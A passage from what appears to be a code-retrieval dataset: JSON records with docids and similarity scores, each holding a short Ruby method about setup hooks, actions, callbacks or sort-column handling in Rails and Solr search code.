@action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51342636", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5113545", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.51131564", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.51131564", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5107665", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5107052", "text": "def action\n end", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.50908124", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5089785", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.50814754", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.50807786", "text": "def before_action \n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.5064482", "text": "def action\n end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5053022", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50526255", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050246", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050246", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.50329554", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5023997", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5021236", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5014815", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.5014393", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.4999298", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.49990913", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4997733", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49884573", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49884573", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49840933", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49786162", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49784446", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49782816", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49659815", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49655175", "text": "def lookup_action; end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4956222", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.49543875", "text": "def around_hooks; end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49536037", "text": "def release_actions; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.495265", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.4951427", "text": "def save_action; end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49438462", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49436793", "text": "def action_target()\n \n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49335384", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49321616", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49264926", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49247074", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49246994", "text": "def default_action; end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.49226475", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194494", "text": "def advice\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49152806", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49149707", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49149227", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "0fe8b3b5573f8eb57ec1752658a62e4e", "score": "0.49144953", "text": "def call\n setup_context\n super\n end", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49141943", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" } ]
ce4a6957c31ce303d8b1b1b5427b00af
Indicate whether name is a sort key and/or is part of the Solr sort.
[ { "docid": "4c4ee864ffce8074c848578dd77b93f4", "score": "0.7329532", "text": "def sort_field?(name)\n name = name.to_s\n sort_fields.any? { |k, v| (k.to_s == name) || v.sort.include?(name) }\n end", "title": "" } ]
[ { "docid": "fac9b18bbbe116a9ce9a95b519962aa5", "score": "0.66991055", "text": "def is_sorted?(request)\n @is_sorted ||= if sortable? and sorting = request.query_parameters[\"sort\"] and sorting[sort_name]\n sorting[sort_name].to_s.match(/desc/i) ? 'desc' : 'asc'\n else\n false\n end\n end", "title": "" }, { "docid": "765cfd02a5cb32970aa3ee7bf3f0fef3", "score": "0.6613511", "text": "def sortable?\n self.sortable = Presenting::Defaults.grid_is_sortable unless defined? @sort_name\n self.sortable = self.id if @sort_name == true\n !@sort_name.blank?\n end", "title": "" }, { "docid": "c5773ad28762f1553e656ad1c8f97558", "score": "0.65994483", "text": "def is_ordering?\n name =~ /^(ascend_by|descend_by)/ || arguments.blank?\n end", "title": "" }, { "docid": "010ab0b60371cb47de5939c5f34a8259", "score": "0.638151", "text": "def extjs_sorting?\n params[:sort] && params[:dir]\n end", "title": "" }, { "docid": "b23c994b00b97e0eea29092437cb27ec", "score": "0.6349803", "text": "def sortable?(attr)\n model_class.column_names.include?(attr.to_s) || \n sort_mappings.include?(attr.to_sym)\n end", "title": "" }, { "docid": "2381e4a70801086bba743f8ee75aac11", "score": "0.61633086", "text": "def ordered_by(field_name)\n \n # if no field is set for sorting, request to sort by date is assumed\n if params[:sort_by].blank?\n return( field_name == \"date\" )\n else\n return( field_name == params[:sort_by] )\n end\n \n end", "title": "" }, { "docid": "09a01d39f083fb3d3bcbb6260f860221", "score": "0.615362", "text": "def default_sort_option\n\t\t'name'\n\tend", "title": "" }, { "docid": "ab58c1a011e4f895b997497eafaea90e", "score": "0.6139426", "text": "def sort_requires_case_norm?(col)\n return false if col =~ /_at$/ # no timestamps\n return false if col =~ /^is_/ # no booleans\n return false if col =~ /_count$/ # no integers\n\n true\n end", "title": "" }, { "docid": "6cf73882be2e49eb545d3c8cc5e06e4c", "score": "0.61329144", "text": "def sortable?\n return false if multiple?\n\n human_readable?\n end", "title": "" }, { "docid": "70272d85948d7ccc2fd951e84431c149", "score": "0.6130688", "text": "def sort_column\n %w(name email role).include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "70272d85948d7ccc2fd951e84431c149", "score": "0.6130688", "text": "def sort_column\n %w(name email role).include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "671a504a689f6c19f31a8e95ac8fd648", "score": "0.61176634", "text": "def sort_column\n RegionTemplate.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "1ef41862e99a819ad0eca512f840bad0", "score": "0.60429907", "text": "def sort_requires_case_norm?(col)\n return false if col.match?(/_at$/) # no timestamps\n return false if col.match?(/^is_/) # no booleans\n return false if col.match?(/_count$/) # no integers\n return false if col.match?(/date$/) # no dates\n\n true\n end", "title": "" }, { "docid": "528aadf6a3e447831a570fdd00ace167", "score": "0.60322213", "text": "def valid_index?\n param! :sort_by, String, default: 'id:asc'\n end", "title": "" }, { "docid": "528aadf6a3e447831a570fdd00ace167", "score": "0.60322213", "text": "def valid_index?\n param! :sort_by, String, default: 'id:asc'\n end", "title": "" }, { "docid": "528aadf6a3e447831a570fdd00ace167", "score": "0.60322213", "text": "def valid_index?\n param! :sort_by, String, default: 'id:asc'\n end", "title": "" }, { "docid": "137502037203b359b60f499bc49a9ada", "score": "0.6026648", "text": "def sort_col\n params[:sort] || \"name\"\n end", "title": "" }, { "docid": "453c32aae8e120292c2515daf19f08cc", "score": "0.6014874", "text": "def sortable?\n !faceted? && !hard_paginate?\n end", "title": "" }, { "docid": "ae5168f85c977428b17b701b88f0410c", "score": "0.6012818", "text": "def sort_column\n ItemTemplate.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "83305efe74877285e9534e2da14aa38f", "score": "0.59009326", "text": "def is_sorted(name, tag, order = 'ascending')\n is_array_sorted(name, tag, @klass, order)\n end", "title": "" }, { "docid": "134ea94b94197af47eaf187de8ac792c", "score": "0.58858067", "text": "def is_sorted\r\n false\r\n end", "title": "" }, { "docid": "6fee7a93152f63bebfc91f99a7489772", "score": "0.5793457", "text": "def sorted?\n self == sort\n end", "title": "" }, { "docid": "67c68d4245db19acd0263ef91c3a9328", "score": "0.5780305", "text": "def validate_sort_field( value )\n if [ 'title', 'code', 'created_at' ].include?( value )\n return value\n else\n return 'title'\n end\n end", "title": "" }, { "docid": "1b7aec6319a7e10b29e1a506a16a81b1", "score": "0.57505", "text": "def supports_index_sort_order?\n false\n end", "title": "" }, { "docid": "1b7aec6319a7e10b29e1a506a16a81b1", "score": "0.57505", "text": "def supports_index_sort_order?\n false\n end", "title": "" }, { "docid": "a9358f125fb3359cb9d9b5234731336e", "score": "0.5719325", "text": "def sort_column\n Recipe.column_names.include?(params[:sort]) ? params[:sort] : \"title\"\n end", "title": "" }, { "docid": "6ce81c8c8d9e99f0d58c74d973f0bdc3", "score": "0.5712975", "text": "def condition_sort(input)\n poke_name = input.poke_name\n product_db = SearchRecord::For.klass(Entity::Product)\n case input.sort\n when 'id'\n product_db.find_full_name(poke_name)\n when 'likes_DESC'\n product_db.order_by_desc_likes(poke_name)\n when 'likes_ASC'\n product_db.order_by_asc_likes(poke_name)\n when 'rating_DESC'\n product_db.order_by_desc_rating(poke_name)\n when 'rating_ASC'\n product_db.order_by_asc_rating(poke_name)\n when 'price_DESC'\n product_db.order_by_desc_price(poke_name)\n else\n # priceASC\n product_db.order_by_asc_price(poke_name)\n end\n end", "title": "" }, { "docid": "46f15ce64731d8407334c73f22261586", "score": "0.5712116", "text": "def sort_column\n EnemyTemplate.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "0e9a08f221ad0b43cd2586afe72a99ec", "score": "0.5700045", "text": "def sort_column\n Race.column_names.include?(params[:sort]) ? params[:sort] : 'name'\n end", "title": "" }, { "docid": "e01b7dc18b6db520e5df9f9054217c26", "score": "0.56980157", "text": "def sort_column\n %w[title year].include?(params[:sort]) ? params[:sort] : \"year\"\n end", "title": "" }, { "docid": "f1fe54ad91d31a431988b52588df4397", "score": "0.5690097", "text": "def sort_column\n Member.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "82a062484d69f5745724708d754ce000", "score": "0.5689362", "text": "def sort_column\n Document.column_names.include?(params[:sort]) ? params[:sort] : \"filename\"\n end", "title": "" }, { "docid": "80a83d491679c70adf3d6db812b28770", "score": "0.5667669", "text": "def sort_products\n # defaults to \"name\"\n params[:sort] || \"name\"\n end", "title": "" }, { "docid": "a0ef46c5372634812d7940f99ed66bc0", "score": "0.5660691", "text": "def title_sorted_alphabetical?\r\n arr_product_infor = get_all_product_info\r\n original_array = []\r\n\r\n (0..arr_product_infor.length - 1).each do |i|\r\n original_array << arr_product_infor[i][:title]\r\n end\r\n\r\n sorted_array = original_array.sort\r\n\r\n return true if (original_array <=> sorted_array) == 0\r\n\r\n false\r\n end", "title": "" }, { "docid": "5adf5d5d49c1c6f95e9cc4c35e003dbe", "score": "0.5645067", "text": "def sort?(options)\n method == 'GET' && params.fetch(:sort, false) && relation?(options)\n end", "title": "" }, { "docid": "3ff49aedfaee05820fc5e8f04173d337", "score": "0.5642146", "text": "def sort_key_inclusion(prms)\n prms.extract!(:sort_key) unless %w[resource_id partner_id]&.include?(prms[:sort_key]) # default by kind, client_id, product_instance_id, product_id\n end", "title": "" }, { "docid": "3cf36b3d36b16857e08ae9794f2e6039", "score": "0.5630872", "text": "def sorted?\n if (self == self.sort)\n return 1\n elsif (self == self.sort.reverse)\n return -1\n else\n return 0\n end\n end", "title": "" }, { "docid": "2874e00fef181247c13736a2e890f17f", "score": "0.56233037", "text": "def name?(name)\n Vpim::Methods.casecmp?(@name, name)\n end", "title": "" }, { "docid": "b5822fac8d760a7d1cbfaac20d406cd3", "score": "0.5615223", "text": "def sort_column\n Doctor.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n Doctor.column_names.include?(params[:sort]) ? params[:sort] : \"address\"\n Doctor.column_names.include?(params[:sort]) ? params[:sort] : \"phone\"\n Doctor.column_names.include?(params[:sort]) ? params[:sort] : \"doctor_type\"\n end", "title": "" }, { "docid": "a88235ac3513ac2f0b394038a94b7b2c", "score": "0.5602323", "text": "def ordering_by_lower?(order_value)\n order_value.expr.is_a?(Arel::Nodes::NamedFunction) && order_value.expr&.name&.downcase == 'lower'\n end", "title": "" }, { "docid": "c1cc90e5b7b6c2c9fdda96750af03712", "score": "0.55872697", "text": "def check_sort_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n old_sort = session[table_name][:sort].to_s\r\n sort, direction = old_sort.split(' ')\r\n# sort is requested\r\n if params['sort']\r\n # reverse sort if same selected\r\n if params['sort'] == sort\r\n direction = (direction == '1') ? '-1' : '1'\r\n end\r\n direction ||= 1\r\n sort = params[:sort]\r\n session[table_name][:sort] = \"#{params['sort']} #{direction}\"\r\n session[table_name][:page] = 1\r\n end\r\n @records.sort( sort => direction.to_i ) if session[table_name][:sort]\r\n params['sort'] = nil # otherwise there is problem with other links\r\nend", "title": "" }, { "docid": "706fe52a318397bb786f08c8b00df9ca", "score": "0.5583316", "text": "def sortable?\n true\n # not self.action? and\n # !options[:through] && !@column.nil?\n end", "title": "" }, { "docid": "e88a5d3ce1f3777b0bbcc4d8b0161ba4", "score": "0.55816627", "text": "def sort_name\n @ole.SortName\n end", "title": "" }, { "docid": "a4002cc911bbbe59c4e92916cb274c2a", "score": "0.5579113", "text": "def sorted?\n !!@sorted\n end", "title": "" }, { "docid": "377a8851656122ad34a2c5d8a61478fb", "score": "0.5544836", "text": "def add_sorting_to_solr(solr_parameters, user_params)\n if user_params[:sort].blank? and sort_field = blacklight_config.default_sort_field\n # no sort param provided, use default\n solr_parameters[:sort] = sort_field.sort unless sort_field.sort.blank?\n elsif sort_field = blacklight_config.sort_fields[user_params[:sort]]\n # check for sort field key \n solr_parameters[:sort] = sort_field.sort unless sort_field.sort.blank?\n else \n # just pass the key through\n solr_parameters[:sort] = user_params[:sort]\n end\n end", "title": "" }, { "docid": "21b955136e663471d13b1480217d6909", "score": "0.5543091", "text": "def has_search_and_sort_params?\n overlapping_keys = (@params.keys.map(&:to_sym) & search_and_sort_params)\n overlapping_keys.any?\n end", "title": "" }, { "docid": "f75af16d3494b937009c6b9856a99712", "score": "0.5541661", "text": "def sort_column\n Assign.column_names.include?(params[:sort]) ? params[:sort] : \"document_id\"\n end", "title": "" }, { "docid": "37904a085c68309ec5fa7cb83a87259d", "score": "0.5536332", "text": "def sort_column\n Admin::Coleccion.column_names.include?(params[:sort]) ? params[:sort] : \"nombre\" \n end", "title": "" }, { "docid": "11ce13e20510d01629fc0044e9c0f5dc", "score": "0.5529224", "text": "def sortby_title_when_browsing solr_parameters, user_parameters\n # if no search term is submitted and user hasn't specified a sort\n # assume browsing and use the browsing sort field\n if user_parameters[:q].blank? and user_parameters[:sort].blank?\n browsing_sortby = blacklight_config.sort_fields.values.select { |field| field.browse_default == true }.first\n solr_parameters[:sort] = browsing_sortby.field\n end\n end", "title": "" }, { "docid": "1f32c63ccdc2a425ff943c30de6ef0cf", "score": "0.55149615", "text": "def sort_column\n Document.column_names.include?(params[:sort]) ? params[:sort] : \"id\"\n end", "title": "" }, { "docid": "1f32c63ccdc2a425ff943c30de6ef0cf", "score": "0.55149615", "text": "def sort_column\n Document.column_names.include?(params[:sort]) ? params[:sort] : \"id\"\n end", "title": "" }, { "docid": "091f0c683c34261af631d45201ab1102", "score": "0.5508744", "text": "def sort_column\n params[:sort] ? params[:sort] : \"title\"\n end", "title": "" }, { "docid": "a538cbc10daf5a4f51a4da07294e2727", "score": "0.5502825", "text": "def sort_column\n Task.column_names.include?(params[:sort]) ? params[:sort] : \"name\"\n end", "title": "" }, { "docid": "1453fc0e6a3e6619e4e1f667425c379e", "score": "0.55017173", "text": "def sort_field(val = nil)\n if val == nil\n @sort_field || name\n else\n @sort_field = val\n end\n end", "title": "" }, { "docid": "d2d84872dbe40492547d311a5b843584", "score": "0.54925716", "text": "def sort_column\n params[:sort] || \"last_name\"\n end", "title": "" }, { "docid": "ae20bcebcf0ae420d0787a30e44719fc", "score": "0.5489443", "text": "def sort_column\n Book.column_names.include?(params[:books_filter_sort]) ? params[:books_filter_sort] : \"average_rating\"\n end", "title": "" }, { "docid": "837d21639c3168aaf3182a1f815b177c", "score": "0.5488653", "text": "def sort_name(value)\n @ole.SortName = value\n nil\n end", "title": "" }, { "docid": "61285db2bf702f484ae2b334c56290a2", "score": "0.5482785", "text": "def sort_direction\n %w[asc desc].include?(params[:sort]) ? params[:sort] : nil\n end", "title": "" }, { "docid": "61285db2bf702f484ae2b334c56290a2", "score": "0.5482785", "text": "def sort_direction\n %w[asc desc].include?(params[:sort]) ? params[:sort] : nil\n end", "title": "" }, { "docid": "3b57a558c625d7e97baac33e79cb2de4", "score": "0.54652274", "text": "def sort_by\n unless params[:sort].blank?\n params[:sort] if params[:sort] == 'created_at' || 'vote_score' || 'replies'\n else\n 'created_at'\n end\n end", "title": "" }, { "docid": "2f4543dab9246b11014c7444c4338124", "score": "0.54553896", "text": "def key?(name)\n raw.key?(name.to_s)\n end", "title": "" }, { "docid": "a8da863cb3b0294a51ecd1257e7a78bb", "score": "0.5450784", "text": "def sorter_query\n @options[:sorter_query].presence\n end", "title": "" }, { "docid": "043daef19907902d1cd952646e9798b6", "score": "0.54429716", "text": "def sortable?\n !@sortable.nil?\n end", "title": "" }, { "docid": "77b15598232a3afa6c08dfddda7ee98e", "score": "0.543705", "text": "def direction_for_solr\n DIRECTIONS[@direction] || \n raise(\n ArgumentError,\n \"Unknown sort direction #{@direction}. Acceptable input is: #{DIRECTIONS.keys.map { |input| input.inspect } * ', '}\"\n )\n end", "title": "" }, { "docid": "8d56657e45a52f5a7e1a9707616d630c", "score": "0.54074025", "text": "def get_sort_cat\n \t\tif @sort == 'data'\n \t\t\treturn 'created_at'\n \t\telsif @sort == 'cheapest'\n \t\t\treturn 'price'\n \t\telse\n \t\t\treturn 'price desc' \t\t\n \t\tend\n \tend", "title": "" }, { "docid": "4177fc1638f56abaa036e040629a9cdb", "score": "0.53975904", "text": "def sort_by_title(solr_parameters)\n return if solr_parameters[:q]\n solr_parameters[:sort] ||= \"#{sort_field} asc\"\n end", "title": "" }, { "docid": "4177fc1638f56abaa036e040629a9cdb", "score": "0.53975904", "text": "def sort_by_title(solr_parameters)\n return if solr_parameters[:q]\n solr_parameters[:sort] ||= \"#{sort_field} asc\"\n end", "title": "" }, { "docid": "91dbc9c5ebbf63cffd152fa906089a47", "score": "0.5393947", "text": "def sort_column\n #songs_count is a specific query, so it's not in the Song table\n default = (params[:sort] == \"songs_count\") ? \"songs_count\" : \"name\"\n Song.column_names.include?(params[:sort]) ? params[:sort] : default\n end", "title": "" }, { "docid": "3fcd1dc005eee9c5db6c68c4075b683b", "score": "0.53786826", "text": "def sort_column\n Partner.column_names.include?(params[:sort]) ? params[:sort] : \"first_name\"\n end", "title": "" }, { "docid": "5d6fa6d8516cadd5f83db86527223c20", "score": "0.5377251", "text": "def current_sort_field_selected\n sort_field_from_response || # as in original\n sort_field_from_params || # sort param specified\n sort_field_from_list || # sort param not specified\n default_sort_field # falls back on 'relevance'\n end", "title": "" }, { "docid": "e206dfcba09a6427bcc4787802fef31d", "score": "0.53742725", "text": "def sort_column\n %w[fullname school].include?(params[:sort]) ? params[:sort]: \"created_at\"\n end", "title": "" }, { "docid": "f0686cc97625b921e8a5344fe0fc7102", "score": "0.53692096", "text": "def facet_sort(solr_parameters, user_parameters, facet_field)\n return \"index\" if (user_parameters[\"action\"] == \"facet\")\n return \"count\" if blacklight_config.facet_fields[facet_field].sort.nil?\n return blacklight_config.facet_fields[facet_field].sort\n end", "title": "" }, { "docid": "dcc9a0a18505ad98b3c144255165e973", "score": "0.5364796", "text": "def key?(name)\n name_key_map.key?(name)\n end", "title": "" }, { "docid": "f150143238d4795265e39c6f3e6a70b6", "score": "0.53607315", "text": "def sort_column\n Category.column_names.include?(params[:sort]) ? params[:sort] : \"id\"\n end", "title": "" }, { "docid": "9f00d479c5bb137762783be8f0657821", "score": "0.53593844", "text": "def sort_column\n Req.column_names.include?(params[:sort]) ? params[:sort] : \"req_total\"\n end", "title": "" }, { "docid": "c7c28d5c4263721e8c43759c4ecbe93f", "score": "0.5353043", "text": "def sorting_value\n respond_to?(:ordering) ? ordering : 0\n end", "title": "" }, { "docid": "3667b2fde621b48f5c507013d5962bb1", "score": "0.5349918", "text": "def sort_column\n Contact.column_names.include?(params[:sort]) ? params[:sort] : \"first_name\"\n end", "title": "" }, { "docid": "4b2bb6b02a8ef898fe6805ce869e91ff", "score": "0.5346781", "text": "def sort_order\n sort_string = params[:sort]\n if sort_string\n split = sort_string.split '_'\n sort_field = split[0]\n sort_dir = split[1]\n return {sort_field.to_sym => sort_dir}\n end\n return {text: :asc}\n end", "title": "" }, { "docid": "1c61f2a679ec0c8068ca04f1cda24971", "score": "0.53450763", "text": "def set_sort_name\n self.SortName = self.Name\n end", "title": "" }, { "docid": "62a370131e9228ea28337e3ad38eb814", "score": "0.53422654", "text": "def sort_column\n TaskTemplate.column_names.include?(params[:sort]) ? params[:sort] : 'date'\n end", "title": "" }, { "docid": "69ca15ce05a0cdfd308b10a38fcd904e", "score": "0.53368884", "text": "def ascending?\n direction == :asc\n end", "title": "" }, { "docid": "b1db247c4e5233422d5c85393dfb7fd5", "score": "0.5335762", "text": "def default_sort\n 'name asc'\n end", "title": "" }, { "docid": "c5315f37d7dd54136c4ce2fbd4f34dc9", "score": "0.53306174", "text": "def sort_column(sort_table)\n if sort_table == \"Artist\"\n Artist.column_names.include?(params[:sort]) ? params[:sort] : \"name_stage\"\n end\n end", "title": "" }, { "docid": "8183a6ebd492f4d0b3f4c094ad860219", "score": "0.5330249", "text": "def has_sort_window?\n !self.is_static? && self.enable_sort_window\n end", "title": "" }, { "docid": "48de0dac436a7f33e1a8deb0276da9a2", "score": "0.53281194", "text": "def sort_column\n Login.column_names.include?(params[:sort]) ? params[:sort] : \"last_name\"\n end", "title": "" }, { "docid": "4fbb92d6e876424e35c37cac9a1e4d50", "score": "0.53213483", "text": "def set_sort_name\n self.sort_name = name.to_s.downcase.gsub(/^(a|an|the) /, '').gsub(/[^a-zA-Z0-9]/, '')\n end", "title": "" }, { "docid": "9b338275cb3f685dade99cce83368089", "score": "0.5306977", "text": "def get_sorting (default_sort_key)\n \n # Allowed sort fields, can sort by only these fields (are indexed) \n sort_keys = ['name', 'a_id', 'pub_id' , 'popularity_weight', 'category', \n 'sub_category', 'interests', 'release_date', \n 'total_ratings_count', 'total_average_rating',\n 'current_ratings_count', 'current_average_rating',\n 'new_apps', 'new_free_apps', 'new_paid_apps', \n 'top_free_apps_iphone', 'top_paid_apps_iphone',\n 'top_gros_apps_iphone', 'top_free_apps_ipad',\n 'top_paid_apps_ipad', 'top_gros_apps_ipad', 'amount',\n 'pub_name']\n \n # Get the sort_by parameter if it exists, otherwise use the default\n sort_param = request.query_parameters['sort_by'] || default_sort_key\n \n # Make sure the sort parameter is in our allowed list \n sort_key = sort_param if sort_keys.include?sort_param \n return sort_key\n \n end", "title": "" }, { "docid": "75e65c39f5c1b7b236494fae17710d55", "score": "0.5303806", "text": "def ordering_by_case?(order_value)\n order_value.expr.is_a?(Arel::Nodes::Case)\n end", "title": "" }, { "docid": "1a62e6c5679a5b138eb4c91c9a96cfa1", "score": "0.52917755", "text": "def check_sort_options #:nodoc:\r\n table_name = @tables.first[1]\r\n return if session[table_name][:sort].nil? || @records.class != Mongoid::Criteria\r\n\r\n sort, direction = session[table_name][:sort].split(' ')\r\n @records = @records.order_by( sort => direction.to_i )\r\nend", "title": "" }, { "docid": "a096047d8dc9a4931bde7a9280bb019e", "score": "0.5273393", "text": "def sort_column\n # Schedule.column_names.include?(params[:sort]) ? params[:sort] : \"device_id\"\n %w[devices.name products.name test_plans.name start_time].include?(params[:sort]) ? params[:sort] : \"devices.name\"\n end", "title": "" }, { "docid": "69ea191c1f3c49b393723f3677658fbf", "score": "0.527212", "text": "def name_is?(name)\n 